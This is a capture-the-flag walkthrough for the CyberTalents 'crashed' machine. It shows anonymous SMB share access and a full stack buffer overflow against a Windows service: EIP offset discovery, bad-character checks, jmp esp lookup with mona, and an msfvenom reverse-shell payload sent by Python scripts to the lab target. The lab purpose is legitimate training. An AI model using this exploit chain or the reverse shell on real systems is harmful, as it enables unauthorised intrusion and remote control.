Cybertalents crashed Machine
بسم الله الرحمن الرحيم
Description
- Get The highest privilege on the machine and find the flag!
- VPN Target IP: 172.24.226.182
- level:hard
- link :
https://cybertalents.com/challenges/machines/crashed
Walkthrough
First of all, you should connect to CyberTalents VPN
- Reconnaissance
- use nmap for port scan
- 6 ports open ,ftp,netbios,smb,rdp,etc
- I found smb service running
- I try to use
null session
attack to access the shared folder ,use smbclient tool smbclient -N -L //172.24.226.182
- I found 6 shared folders,I try to access them
- I found two file in vulnserver-master
smbclient -N //172.24.226.182/vulnserver-master
- download 2 file
get super_secure_server.exe
get essfunc.dll
- I connect from remote machine »vulnerable BOF
- I connect from remote machine by nc tool before that, you should identify the port that the service running on
- I open task manager > select Details tap > pid > found(3946)
netstat -ano
- found port
13337
- use nc to connect
nc ip 13337
- i open file by strings
strings super_secure_server.exe | more
- found some command
HELP,SECRET >mission complete
locate pattern_create.rb
from metasploit./pattern_create.rb -l 2000
-
open super_secure_server.exe by immunity debugger
- use python code to send payload
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload='result 2000 from pattern_create'
# Aa0a…buffer="SECRET"+payload
# SECRET >recognized by servers.connect(("192.168.128.129",13337))
print s.recv(1024)
s.send(buffer)
-
s.close()
- when send payload to the remote machine ,crash happen in super_secure_server.exe in deubugger
- crash happen in offset 33684232(EIP)
- use pattern_offset.rb from metasploit to match offset
locate pattern_offset.rb
/pattern_offset.rb -l 2000 -q 33684232
> 998
- step 1 - controlling EIP
- I send payload again but change buffer
- use python code to send payload
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload='A'*998
buffer="SECRET"+payload+'BBBB'+'C'*(2000-998-4-6)
s.connect(("192.168.128.129",13337))
print s.recv(1024)
s.send(buffer)
s.close()
- step 2 - checking for bad characters
- create bad chracters by python scrript
for i in range(0,256):
*print('\\x%02x' % i,end='')
- The \x00 byte is a null terminator for strings ,it is always the first bad character
- remove from bad chr
- send payload again
- select ESP >follow in dump > not found bad character
- used mona.py script > drop mona.py into the ‘PyCommands’ folder (inside the Immunity Debugger application folder).
https://github.com/corelan/mona
!mona modules
- I found super_secure_server.exe and essfunc.ddl
- I use essfunc.dll
!mona jmp -r esp -m "essfunc.dll"
to locate jmp esp
- break point jmp esp (double click) + restart service
- create shell code by msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.128.128 LPORT=443 -e x86/shikata_ga_nai -f py -v shell -b "\x00"
- update python script
- replace BBBB esp get from mona script (\xad\x12\x50\x62’) write(little endian)
- add nop(no operation befor shellcode)\x90
- run script
- run nc listener
sudo nc -nlvp 443
- finally got a shell
- change ip from private to ip get from vpn(cybertalents)
- scan again to find port to connect
sudo unicornscan -ImT 172.24.226.182:1-2000
- connect
nc 172.24.226.182 1887
- send code to machine on cyber talents
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
shell=""
payload='A'*998
buffer="SECRET"+payload+'\xad\x12\x50\x62'+'\x90'*16+shell+'\x90'*(2000-998-4-6-16-len(shell))
s.connect(("172.24.226.182",1887))
print s.recv(1024)
s.send(buffer)
s.close()
- We got the final flag and complete task